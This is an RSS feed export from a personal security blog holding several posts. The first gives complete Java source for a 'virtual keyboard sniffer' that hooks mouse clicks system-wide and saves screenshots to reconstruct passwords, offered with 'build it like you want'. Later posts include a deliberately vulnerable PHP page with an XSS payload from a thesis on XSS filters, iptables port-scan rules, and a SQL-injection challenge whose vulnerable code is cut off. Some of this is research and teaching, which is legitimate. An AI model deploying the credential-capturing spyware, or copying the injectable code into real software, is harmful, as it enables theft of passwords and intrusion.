<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MfS - Enterprise // Security blogging with Michael Schratt</title>
	<atom:link href="http://mfs-enterprise.com/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://mfs-enterprise.com/wordpress</link>
	<description>MfS - Enterprise // Let&#039;s talk about Security</description>
	<lastBuildDate>Tue, 13 Mar 2012 17:41:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Virtual Keyboard Sniffer</title>
		<link>http://mfs-enterprise.com/wordpress/2012/03/13/virtual-keyboard-sniffer/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=virtual-keyboard-sniffer</link>
		<comments>http://mfs-enterprise.com/wordpress/2012/03/13/virtual-keyboard-sniffer/#comments</comments>
		<pubDate>Tue, 13 Mar 2012 17:40:33 +0000</pubDate>
		<dc:creator>bl4ckw0rm</dc:creator>
				<category><![CDATA[// Malware]]></category>
		<category><![CDATA[// Microsoft Windows]]></category>
		<category><![CDATA[// Programming]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[java malware]]></category>
		<category><![CDATA[jna]]></category>
		<category><![CDATA[keylogger]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[native java]]></category>
		<category><![CDATA[prevent key logging]]></category>
		<category><![CDATA[prevention]]></category>
		<category><![CDATA[sniffer]]></category>
		<category><![CDATA[virtual keyboard]]></category>

		<guid isPermaLink="false">http://mfs-enterprise.com/wordpress/?p=185</guid>
		<description><![CDATA[Several papers offer guidelines on how to protect against keyloggers. There always are some lines according to the use of Virtual Keyboards. Malware has been seen in the wild, like the infamous ZEUS Trojan or Ardamax Keylogger, which offer screen capture capabilities. The following lines of code are Proof-of-Concept code to demonstrate how easy Virtual [...]]]></description>
			<content:encoded><![CDATA[<a href='http://twitter.com/share?url=http%3A%2F%2Ftinyurl.com%2F8529tm7&count=horizontal&related=&text=Virtual%20Keyboard%20Sniffer' class='twitter-share-button' data-text='Virtual Keyboard Sniffer' data-url='http://tinyurl.com/8529tm7' data-counturl='http://mfs-enterprise.com/wordpress/2012/03/13/virtual-keyboard-sniffer/' data-count='horizontal' data-via='bl4ckw0rm'></a><p>Several papers offer guidelines on how to protect against keyloggers. There always are some lines according to the use of Virtual Keyboards. Malware has been seen in the wild, like the infamous ZEUS Trojan or Ardamax Keylogger, which offer screen capture capabilities.</p>
<p>The following lines of code are Proof-of-Concept code to demonstrate how easy Virtual Keyboard &#8220;Strokes&#8221; can be captured. Each Left-Mouse-Click captures a 100&#215;100 pixel screen shot. What we will see, are some pictures of Virtual Keyboard screen shots. These will let you reconstruct an virtual entered password.</p>

<a href='http://mfs-enterprise.com/wordpress/2012/03/13/virtual-keyboard-sniffer/attachment/20120313154923216/' title='20120313154923216'><img width="100" height="100" src="http://mfs-enterprise.com/wordpress/wp-content/uploads/2012/03/20120313154923216.jpg" class="attachment-thumbnail" alt="20120313154923216" title="20120313154923216" /></a>
<a href='http://mfs-enterprise.com/wordpress/2012/03/13/virtual-keyboard-sniffer/attachment/20120313154925145/' title='20120313154925145'><img width="100" height="100" src="http://mfs-enterprise.com/wordpress/wp-content/uploads/2012/03/20120313154925145.jpg" class="attachment-thumbnail" alt="20120313154925145" title="20120313154925145" /></a>
<a href='http://mfs-enterprise.com/wordpress/2012/03/13/virtual-keyboard-sniffer/attachment/20120313154926519/' title='20120313154926519'><img width="100" height="100" src="http://mfs-enterprise.com/wordpress/wp-content/uploads/2012/03/20120313154926519.jpg" class="attachment-thumbnail" alt="20120313154926519" title="20120313154926519" /></a>
<a href='http://mfs-enterprise.com/wordpress/2012/03/13/virtual-keyboard-sniffer/attachment/20120313154927296/' title='20120313154927296'><img width="100" height="100" src="http://mfs-enterprise.com/wordpress/wp-content/uploads/2012/03/20120313154927296.jpg" class="attachment-thumbnail" alt="20120313154927296" title="20120313154927296" /></a>
<a href='http://mfs-enterprise.com/wordpress/2012/03/13/virtual-keyboard-sniffer/attachment/20120313154928247/' title='20120313154928247'><img width="100" height="100" src="http://mfs-enterprise.com/wordpress/wp-content/uploads/2012/03/20120313154928247.jpg" class="attachment-thumbnail" alt="20120313154928247" title="20120313154928247" /></a>
<a href='http://mfs-enterprise.com/wordpress/2012/03/13/virtual-keyboard-sniffer/attachment/20120313154929102/' title='20120313154929102'><img width="100" height="100" src="http://mfs-enterprise.com/wordpress/wp-content/uploads/2012/03/20120313154929102.jpg" class="attachment-thumbnail" alt="20120313154929102" title="20120313154929102" /></a>

<p>I just started Project Nemesis for demostration purposes. In the future there will be posted more stuff on Malware related topics, inlcuding Anti-Debugging and so stuff.</p>
<p>Now let&#8217;s have a look at the main class. I used JNA for Java Native Programming.<br />
Code template can be found at http://stackoverflow.com/questions/3590226/working-example-of-jna-mouse-hook</p>
<pre class="brush:java">package ProjectNemesis;

import java.io.File;
import java.text.SimpleDateFormat;
import java.util.Date;

import com.sun.jna.Native;
import com.sun.jna.NativeLong;
import com.sun.jna.Platform;
import com.sun.jna.Structure;
import com.sun.jna.platform.win32.BaseTSD.ULONG_PTR;
import com.sun.jna.platform.win32.Kernel32;
import com.sun.jna.platform.win32.User32;
import com.sun.jna.platform.win32.WinDef.HWND;
import com.sun.jna.platform.win32.WinDef.LRESULT;
import com.sun.jna.platform.win32.WinDef.WPARAM;
import com.sun.jna.platform.win32.WinUser.HHOOK;
import com.sun.jna.platform.win32.WinUser.HOOKPROC;
import com.sun.jna.platform.win32.WinUser.MSG;
import com.sun.jna.platform.win32.WinUser.POINT;

public class JNAMouseHook {

	private final User32 USER32INST;
	private final Kernel32 KERNEL32INST;

	private static LowLevelMouseProc mouseHook;
	private static ScreenFunctions s = new ScreenFunctions();
	private HHOOK hhk;
	private Thread thrd;
	private boolean threadFinish = true;
	private boolean isHooked = false;
	private static final int WM_MOUSEMOVE = 512;
	private static final int WM_LBUTTONDOWN = 513;
	private static final int WM_LBUTTONUP = 514;
	private static final int WM_RBUTTONDOWN = 516;
	private static final int WM_RBUTTONUP = 517;
	private static final int WM_MBUTTONDOWN = 519;
	private static final int WM_MBUTTONUP = 520;

	public static void main(String[] args) {
		JNAMouseHook j = new JNAMouseHook();
		j.setMouseHook();
	}

	public JNAMouseHook() {
		if (!Platform.isWindows()) {
			throw new UnsupportedOperationException(
					"Not supported on this platform.");
		}
		USER32INST = User32.INSTANCE;
		KERNEL32INST = Kernel32.INSTANCE;
		mouseHook = hookTheMouse();
		Native.setProtected(true);
	}

	public void unsetMouseHook() {
		threadFinish = true;
		if (thrd.isAlive()) {
			thrd.interrupt();
			thrd = null;
		}
		isHooked = false;
	}

	public boolean isIsHooked() {
		return isHooked;
	}

	public void setMouseHook() {
		thrd = new Thread(new Runnable() {
			@Override
			public void run() {
				try {
					if (!isHooked) {
						hhk = USER32INST.SetWindowsHookEx(14, mouseHook,
								KERNEL32INST.GetModuleHandle(null), 0);
						isHooked = true;
						MSG msg = new MSG();
						while ((USER32INST.GetMessage(msg, null, 0, 0)) != 0) {
							USER32INST.TranslateMessage(msg);
							USER32INST.DispatchMessage(msg);
							if (!isHooked)
								break;
						}
					} else
						System.out.println("The Hook is already installed.");
				} catch (Exception e) {
					System.err.println(e.getMessage());
					System.err.println("Caught exception in MouseHook!");
				}
			}
		}, "Named thread");
		threadFinish = false;
		thrd.start();
	}

	private interface LowLevelMouseProc extends HOOKPROC {
		LRESULT callback(int nCode, WPARAM wParam, MOUSEHOOKSTRUCT lParam);
	}

	public LowLevelMouseProc hookTheMouse() {
		return new LowLevelMouseProc() {
			@Override
			public LRESULT callback(int nCode, WPARAM wParam,
					MOUSEHOOKSTRUCT info) {
				if (nCode &gt;= 0) {
					switch (wParam.intValue()) {
					case JNAMouseHook.WM_LBUTTONDOWN:
						Date dt = new Date();
						SimpleDateFormat df = new SimpleDateFormat(
								"yyyyMMddHHmmssS");
						String fn = df.format(dt) + ".jpg";

						System.out.println(s.getWindowTitle());
						s.makeScreenshot(info.pt.x, info.pt.y, 100, 100,
								new File("C:\\Screens\\" + fn));

						System.gc();

						break;
					default:
						break;
					}
					if (threadFinish == true) {
						USER32INST.PostQuitMessage(0);
					}
				}
				return USER32INST.CallNextHookEx(hhk, nCode, wParam,
						info.getPointer());
			}
		};
	}

	public class Point extends Structure {
		public class ByReference extends Point implements Structure.ByReference {
		};

		public NativeLong x;
		public NativeLong y;
	}

	public static class MOUSEHOOKSTRUCT extends Structure {
		public static class ByReference extends MOUSEHOOKSTRUCT implements
				Structure.ByReference {
		};

		public POINT pt;
		public HWND hwnd;
		public int wHitTestCode;
		public ULONG_PTR dwExtraInfo;
	}
}</pre>
<p>Additional code sample for screen capture looks like that.</p>
<pre class="brush:java">package ProjectNemesis;

import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;

import javax.imageio.ImageIO;

import com.sun.jna.Native;
import com.sun.jna.PointerType;
import com.sun.jna.platform.win32.WinDef.HWND;
import com.sun.jna.win32.StdCallLibrary;

public class ScreenFunctions {

	private Robot robot;
	private Rectangle rectangle;
	private BufferedImage image;

	public boolean makeScreenshot(int x, int y, int width, int height, File file) {
		boolean ok = false;
		try {
			rectangle = new Rectangle(x - width / 2, y - height / 2, width, height);

			robot = new Robot();
			image = robot.createScreenCapture(rectangle);
			ImageIO.write(image, "jpg", file);
			ok = true;
		} catch (AWTException | IOException e) {
			e.printStackTrace();
		}
		return ok;
	}

	public String getWindowTitle() {
		byte[] windowText = new byte[512];
		PointerType hwnd = User32.INSTANCE.GetForegroundWindow();
		User32.INSTANCE.GetWindowTextA(hwnd, windowText, 512);
		return Native.toString(windowText);
	}

	public interface User32 extends StdCallLibrary {
		User32 INSTANCE = (User32) Native.loadLibrary("user32", User32.class);

		HWND GetForegroundWindow();

		int GetWindowTextA(PointerType hWnd, byte[] lpString, int nMaxCount);
	}
}</pre>
<p>Have fun, build it like you want, and ask if you have questions :-)<br />
Bye folks</p>
<div class="su-linkbox" id="post-185-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://mfs-enterprise.com/wordpress/2012/03/13/virtual-keyboard-sniffer/&quot;&gt;Virtual Keyboard Sniffer&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded>
			<wfw:commentRss>http://mfs-enterprise.com/wordpress/2012/03/13/virtual-keyboard-sniffer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Memory Limits for Windows Releases</title>
		<link>http://mfs-enterprise.com/wordpress/2011/12/10/memory-limits-windows-releases/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=memory-limits-windows-releases</link>
		<comments>http://mfs-enterprise.com/wordpress/2011/12/10/memory-limits-windows-releases/#comments</comments>
		<pubDate>Sat, 10 Dec 2011 11:41:55 +0000</pubDate>
		<dc:creator>bl4ckw0rm</dc:creator>
				<category><![CDATA[// Microsoft Windows]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[Memory Limits]]></category>

		<guid isPermaLink="false">http://mfs-enterprise.com/wordpress/?p=174</guid>
		<description><![CDATA[Hi folks, found an interessting website from Microsoft which belongs to different Memory Limits for Windows Releases. Have a look &#8211; http://msdn.microsoft.com/en-us/library/windows/desktop/aa366778(v=vs.85).aspx hf Link to this post!]]></description>
			<content:encoded><![CDATA[<a href='http://twitter.com/share?url=http%3A%2F%2Ftinyurl.com%2Fboww562&count=horizontal&related=&text=Memory%20Limits%20for%20Windows%20Releases' class='twitter-share-button' data-text='Memory Limits for Windows Releases' data-url='http://tinyurl.com/boww562' data-counturl='http://mfs-enterprise.com/wordpress/2011/12/10/memory-limits-windows-releases/' data-count='horizontal' data-via='bl4ckw0rm'></a><p>Hi folks,</p>
<p>found an interessting website from Microsoft which belongs to different Memory Limits for Windows Releases. </p>
<p>Have a look &#8211; http://msdn.microsoft.com/en-us/library/windows/desktop/aa366778(v=vs.85).aspx</p>
<p>hf</p>
<div class="su-linkbox" id="post-174-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://mfs-enterprise.com/wordpress/2011/12/10/memory-limits-windows-releases/&quot;&gt;Memory Limits for Windows Releases&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded>
			<wfw:commentRss>http://mfs-enterprise.com/wordpress/2011/12/10/memory-limits-windows-releases/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Auto startx in Backtrack 5 (GNOME)</title>
		<link>http://mfs-enterprise.com/wordpress/2011/08/19/auto-startx-backtrack-5/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=auto-startx-backtrack-5</link>
		<comments>http://mfs-enterprise.com/wordpress/2011/08/19/auto-startx-backtrack-5/#comments</comments>
		<pubDate>Fri, 19 Aug 2011 19:04:36 +0000</pubDate>
		<dc:creator>bl4ckw0rm</dc:creator>
				<category><![CDATA[// Linux]]></category>
		<category><![CDATA[// Programming]]></category>
		<category><![CDATA[DISPLAY]]></category>

		<guid isPermaLink="false">http://mfs-enterprise.com/wordpress/?p=150</guid>
		<description><![CDATA[If you want to rid of typing &#8220;startx&#8221; after login to Backtrack 5, you could just add some extra lines into /root/.bashrc . As this is a problem I had some days ago I would like it to share with you. And you get rid of google (gg) Joke apart! Add these lines to /root/.bashrc [...]]]></description>
			<content:encoded><![CDATA[<a href='http://twitter.com/share?url=http%3A%2F%2Ftinyurl.com%2F4yf2m2f&count=horizontal&related=&text=Auto%20startx%20in%20Backtrack%205%20%28GNOME%29' class='twitter-share-button' data-text='Auto startx in Backtrack 5 (GNOME)' data-url='http://tinyurl.com/4yf2m2f' data-counturl='http://mfs-enterprise.com/wordpress/2011/08/19/auto-startx-backtrack-5/' data-count='horizontal' data-via='bl4ckw0rm'></a><p>If you want to rid of typing &#8220;startx&#8221; after login to Backtrack 5, you could just add some extra lines into /root/.bashrc . As this is a problem I had some days ago I would like it to share with you. And you get rid of google (gg) Joke apart!</p>
<p>Add these lines to /root/.bashrc as follows. (BT5 GNOME)</p>
<pre class="brush:shell">if [ -z "$DISPLAY" ]; then
	startx
fi</pre>
<p>-z returns true if $DISPLAY is still empty. The if statement is needed due to the fact, that if you start xterm .bashrc gets executed and you would get an Display error.</p>
<div class="su-linkbox" id="post-150-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://mfs-enterprise.com/wordpress/2011/08/19/auto-startx-backtrack-5/&quot;&gt;Auto startx in Backtrack 5 (GNOME)&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded>
			<wfw:commentRss>http://mfs-enterprise.com/wordpress/2011/08/19/auto-startx-backtrack-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Evaluation of the efficiency of Cross-Site-Scripting measures (Part 1)</title>
		<link>http://mfs-enterprise.com/wordpress/2011/08/03/evaluation-efficiency-cross-site-scripting-measures-part-1/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=evaluation-efficiency-cross-site-scripting-measures-part-1</link>
		<comments>http://mfs-enterprise.com/wordpress/2011/08/03/evaluation-efficiency-cross-site-scripting-measures-part-1/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 18:06:06 +0000</pubDate>
		<dc:creator>bl4ckw0rm</dc:creator>
				<category><![CDATA[// Penetration Testing]]></category>
		<category><![CDATA[// Programming]]></category>
		<category><![CDATA[// Web Security]]></category>
		<category><![CDATA[attributes]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[Evaluation Criteria]]></category>
		<category><![CDATA[header]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[master thesis]]></category>
		<category><![CDATA[michael]]></category>
		<category><![CDATA[owasp]]></category>
		<category><![CDATA[schratt]]></category>
		<category><![CDATA[tags]]></category>
		<category><![CDATA[user-agent]]></category>
		<category><![CDATA[xss]]></category>
		<category><![CDATA[xss payload]]></category>
		<category><![CDATA[xss prevention]]></category>

		<guid isPermaLink="false">http://mfs-enterprise.com/wordpress/?p=124</guid>
		<description><![CDATA[In regards to my Master Thesis, which is about the evaluation of the efficiency of Cross-Site-Scripting measures, I would like to introduce my assessment approach to you. This post is not about the definition of XSS neither about secure coding. Part 1 comprises the definition of the assessment approach to evaluate the efficiency of XSS [...]]]></description>
			<content:encoded><![CDATA[<a href='http://twitter.com/share?url=http%3A%2F%2Ftinyurl.com%2F4ycwoko&count=horizontal&related=&text=Evaluation%20of%20the%20efficiency%20of%20Cross-Site-Scripting%20measures%20%28Part%201%29' class='twitter-share-button' data-text='Evaluation of the efficiency of Cross-Site-Scripting measures (Part 1)' data-url='http://tinyurl.com/4ycwoko' data-counturl='http://mfs-enterprise.com/wordpress/2011/08/03/evaluation-efficiency-cross-site-scripting-measures-part-1/' data-count='horizontal' data-via='bl4ckw0rm'></a><p>In regards to my Master Thesis, which is about the evaluation of the efficiency of Cross-Site-Scripting measures, I would like to introduce my assessment approach to you. This post is not about the definition of XSS neither about secure coding.</p>
<p>Part 1 comprises the definition of the assessment approach to evaluate the efficiency of XSS measures. I had the idea of taking the OWASP XSS Prevention Rules as Evaluation Criteria, which are related to:</p>
<p>The efficiency of Cross-Site-Scripting measures can only be provided, if these measures can successfully detect XSS</p>
<ol>
<li>within HTML-Tags,</li>
<li>within HTML-Attributes,</li>
<li>within JavaScript-able Attributes,</li>
<li>within Style-Entities,</li>
<li>within URLs,</li>
<li>within encoded Payloads,</li>
<li>within HTTP-Headers (User-Agent, Referrer, &#8230;) and</li>
<li>within different HTTP-Methods (GET, POST, &#8230;).</li>
</ol>
<p>The Process of Evaluation is build upon different series of tests and cases. Each series of tests represents one part of the Evaluation Criteria. Hence, there are eight series of tests comprising one or more series of cases. Additionally, I have developed vulnerable web applications and a set of different XSS attack payloads for each series. XSS payloads are widely distributed and available in the internet, e.g. http://ha.ckers.org/xss.html</p>
<p>An example of a vulnerable web application looks as listed below and is related to the test series #1 &#8211; XSS within HTML-Tags.</p>
<pre class="brush:php">&lt;html&gt;
&lt;body&gt;
&lt;?PHP
echo '&lt;h3&gt;Testing for Reflected XSS in Standard HTML Tag: ';
echo $_REQUEST['tag'];
echo '&lt;/h3&gt;';
echo '&lt;'.$_REQUEST['tag'].'&gt;';
echo $_REQUEST['payload'];
echo '&lt;/'.$_REQUEST['tag'].'&gt;';
?&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>An example of a test case according to the test series above is as follows.</p>
<p>Test series: #1<br />
Test case: #1<br />
Tag: td<br />
XSS Payload: &#8220;/&gt;&#8217;/&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;<br />
HTTP-Request: ?tag=td&amp;payload=&#8221;/&gt;&#8217;/&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;</p>
<p>The HTTP-Request is provided additionally. The relationship between the vulnerable script and the test case is created in this way.</p>
<p>Four products have been assessed:</p>
<ol>
<li>Internet Explorer XSS-Filter</li>
<li>Firefox NoScript-Plugin</li>
<li>Mod_Security</li>
<li>IIS Request-Filter</li>
</ol>
<p>Have a nice evening and get ready for the next parts. What will be discussed next? -&gt; Testing results and its interpretations. Feedback is appreciated (gg) Questions are welcome!</p>
<p>In the meantime you can have a look at my German Master Thesis.</p>
<p>Master Thesis Download Link &#8211; <a title="Master_Thesis_2011_Anti-XSS_OnlineVersion.pdf" href="http://mfs-enterprise.com/security/site/de/docs/Master_Thesis_2011_Anti-XSS_OnlineVersion.pdf" target="_blank">Master_Thesis_2011_Anti-XSS_OnlineVersion.pdf</a><br />
Presentation Download Link &#8211; <a title="MT_SCHRATT_Anti-XSS_2011.ppsx" href="http://mfs-enterprise.com/security/site/de/docs/MT_SCHRATT_Anti-XSS_2011.ppsx" target="_blank">MT_SCHRATT_Anti-XSS_2011.ppsx</a></p>
<div class="su-linkbox" id="post-124-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://mfs-enterprise.com/wordpress/2011/08/03/evaluation-efficiency-cross-site-scripting-measures-part-1/&quot;&gt;Evaluation of the efficiency of Cross-Site-Scripting measures (Part 1)&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded>
			<wfw:commentRss>http://mfs-enterprise.com/wordpress/2011/08/03/evaluation-efficiency-cross-site-scripting-measures-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Detect Port-Scans with iptables</title>
		<link>http://mfs-enterprise.com/wordpress/2011/08/03/detect-port-scans-iptables/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=detect-port-scans-iptables</link>
		<comments>http://mfs-enterprise.com/wordpress/2011/08/03/detect-port-scans-iptables/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 10:04:37 +0000</pubDate>
		<dc:creator>bl4ckw0rm</dc:creator>
				<category><![CDATA[// Networking]]></category>
		<category><![CDATA[// Penetration Testing]]></category>
		<category><![CDATA[ACK]]></category>
		<category><![CDATA[FIN]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[port]]></category>
		<category><![CDATA[port scan]]></category>
		<category><![CDATA[RST]]></category>
		<category><![CDATA[scanning]]></category>
		<category><![CDATA[SYN]]></category>

		<guid isPermaLink="false">http://mfs-enterprise.com/wordpress/?p=117</guid>
		<description><![CDATA[Altough attacks are more and more evolving to the application layer, baseline security must be established as well. Usually one of the first steps taken is to build up a firewall. In this post I want to introduce, how port scans can be detected with iptables. nmap as one of the most popular port scanners, [...]]]></description>
			<content:encoded><![CDATA[<a href='http://twitter.com/share?url=http%3A%2F%2Ftinyurl.com%2F3mxqhhw&count=horizontal&related=&text=Detect%20Port-Scans%20with%20iptables' class='twitter-share-button' data-text='Detect Port-Scans with iptables' data-url='http://tinyurl.com/3mxqhhw' data-counturl='http://mfs-enterprise.com/wordpress/2011/08/03/detect-port-scans-iptables/' data-count='horizontal' data-via='bl4ckw0rm'></a><p>Altough attacks are more and more evolving to the application layer, baseline security must be established as well. Usually one of the first steps taken is to build up a firewall. In this post I want to introduce, how port scans can be detected with iptables. nmap as one of the most popular port scanners, has the ability to enforce different types of scanning, like NULL-Scan, FIN-Scan or XMAS-Scan. To proper secure your hosts behind your firewall, you will have to successfully block port scanning. Here are some lines for you.</p>
<pre class="brush:shell"># NO flags
iptables -A INPUT -p tcp --tcp-flags ALL NONE

# FIN Scan
iptables -A INPUT -p tcp --tcp-flags ALL FIN

# XMAS 1
iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH

# XMAS 2
iptables -A INPUT -p tcp --tcp-flags ALL URG,ACK,PSH,RST,SYN,FIN

# SYN, FIN flag set
iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN

# SYN, RST flags set
iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST

# FIN, RST flags set
iptables -A INPUT -p tcp --tcp-flags FIN,RST FIN,RST

# FIN flag set only
iptables -A INPUT -p tcp --tcp-flags ACK,FIN FIN

# PSH flag set only
iptables -A INPUT -p tcp --tcp-flags ACK,PSH PSH

# URG flag set only
iptables -A INPUT -p tcp --tcp-flags ACK,URG URG</pre>
<div class="su-linkbox" id="post-117-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://mfs-enterprise.com/wordpress/2011/08/03/detect-port-scans-iptables/&quot;&gt;Detect Port-Scans with iptables&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded>
			<wfw:commentRss>http://mfs-enterprise.com/wordpress/2011/08/03/detect-port-scans-iptables/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What&#8217;s coming next?</title>
		<link>http://mfs-enterprise.com/wordpress/2011/08/02/coming-next/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=coming-next</link>
		<comments>http://mfs-enterprise.com/wordpress/2011/08/02/coming-next/#comments</comments>
		<pubDate>Tue, 02 Aug 2011 09:58:46 +0000</pubDate>
		<dc:creator>bl4ckw0rm</dc:creator>
				<category><![CDATA[// Microsoft Windows]]></category>
		<category><![CDATA[// Networking]]></category>
		<category><![CDATA[// Penetration Testing]]></category>

		<guid isPermaLink="false">http://mfs-enterprise.com/wordpress/?p=112</guid>
		<description><![CDATA[I am going to write about network printer security and how printer insecurity could lead to a compromise of windows active directory. Some ideas of mine inlcude insecure configuration, usage of domain admin accounts, password security etc. Feel free to contribute! Link to this post!]]></description>
			<content:encoded><![CDATA[<a href='http://twitter.com/share?url=http%3A%2F%2Ftinyurl.com%2F3jzkddf&count=horizontal&related=&text=What%26%23039%3Bs%20coming%20next%3F' class='twitter-share-button' data-text='What&#039;s coming next?' data-url='http://tinyurl.com/3jzkddf' data-counturl='http://mfs-enterprise.com/wordpress/2011/08/02/coming-next/' data-count='horizontal' data-via='bl4ckw0rm'></a><p>I am going to write about network printer security and how printer insecurity could lead to a compromise of windows active directory. Some ideas of mine inlcude insecure configuration, usage of domain admin accounts, password security etc. Feel free to contribute!</p>
<div class="su-linkbox" id="post-112-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://mfs-enterprise.com/wordpress/2011/08/02/coming-next/&quot;&gt;What&#8217;s coming next?&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded>
			<wfw:commentRss>http://mfs-enterprise.com/wordpress/2011/08/02/coming-next/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>(Double-)SQL-Injection Challenge</title>
		<link>http://mfs-enterprise.com/wordpress/2011/07/30/sql-injection-challenge/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sql-injection-challenge</link>
		<comments>http://mfs-enterprise.com/wordpress/2011/07/30/sql-injection-challenge/#comments</comments>
		<pubDate>Sat, 30 Jul 2011 12:13:20 +0000</pubDate>
		<dc:creator>bl4ckw0rm</dc:creator>
				<category><![CDATA[// Penetration Testing]]></category>
		<category><![CDATA[// Programming]]></category>
		<category><![CDATA[// Web Security]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[No Bookmarks]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[SELECT]]></category>
		<category><![CDATA[Site Address]]></category>
		<category><![CDATA[sql-injection]]></category>
		<category><![CDATA[tags]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://mfs-enterprise.com/wordpress/?p=94</guid>
		<description><![CDATA[I would like to demonstrate a sample SQL-Injection attack. SQL-Injection occurs if user input is not correctly validated. Sensitive data could be read from the database, or administrative operations could be executed. First have a look at the vulnerable application code listing: function listBookmarks($searchTag,$s) { if($searchTag == NULL &#38;&#38; $s == 0) { $sql = [...]]]></description>
			<content:encoded><![CDATA[<a href='http://twitter.com/share?url=http%3A%2F%2Ftinyurl.com%2F3z4dsbo&count=horizontal&related=&text=%28Double-%29SQL-Injection%20Challenge' class='twitter-share-button' data-text='(Double-)SQL-Injection Challenge' data-url='http://tinyurl.com/3z4dsbo' data-counturl='http://mfs-enterprise.com/wordpress/2011/07/30/sql-injection-challenge/' data-count='horizontal' data-via='bl4ckw0rm'></a><p>I would like to demonstrate a sample SQL-Injection attack. SQL-Injection occurs if user input is not correctly validated. Sensitive data could be read from the database, or administrative operations could be executed. First have a look at the vulnerable application code listing:</p>
<pre class="brush:php">function listBookmarks($searchTag,$s) {
	if($searchTag == NULL &amp;&amp; $s == 0) {
		$sql = "SELECT title, url FROM `bookmarks`";
		if ($result = @mysql_query($sql)) {
			if (!$result = @mysql_query($sql)) {
				return 1;
			}

			if(@mysql_num_rows($result) &gt; 0) {
				$bl = "&lt;table&gt;";
				$bl.= "&lt;tr class=\"bookmark\"&gt;&lt;td&gt;Title&lt;/td&gt;&lt;td&gt;Site Address&lt;/td&gt;&lt;/tr&gt;";
				while($b = @mysql_fetch_assoc($result)) {
					$bl .= "&lt;tr&gt;&lt;td style=\"padding-right:15px;\"&gt;".$b['title']."&lt;/td&gt;
                    &lt;td&gt;&lt;a href=\"".$b['url']."\" target=\"_blank\"&gt;".$b['url']."&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;";
				}
				$bl .= "&lt;/table&gt;";
			} else {
				$bl = "No Bookmarks found!";
			}
		}
	} else {
		$bl = "No Bookmarks found!";		

		$sql = "SELECT id from tags where name like '%".htmlspecialchars($searchTag)."%'";

		if ($result = @mysql_query($sql)) {
			$a = @mysql_fetch_row($result);
		}

		if(@mysql_num_rows($result) &gt; 0) {
			$sql = "SELECT title, url FROM `bookmarks` where tags like '%".$a[0]."%'";

			if ($resultb = @mysql_query($sql)) {
				if (!$resultb = @mysql_query($sql)) {
					return 1;
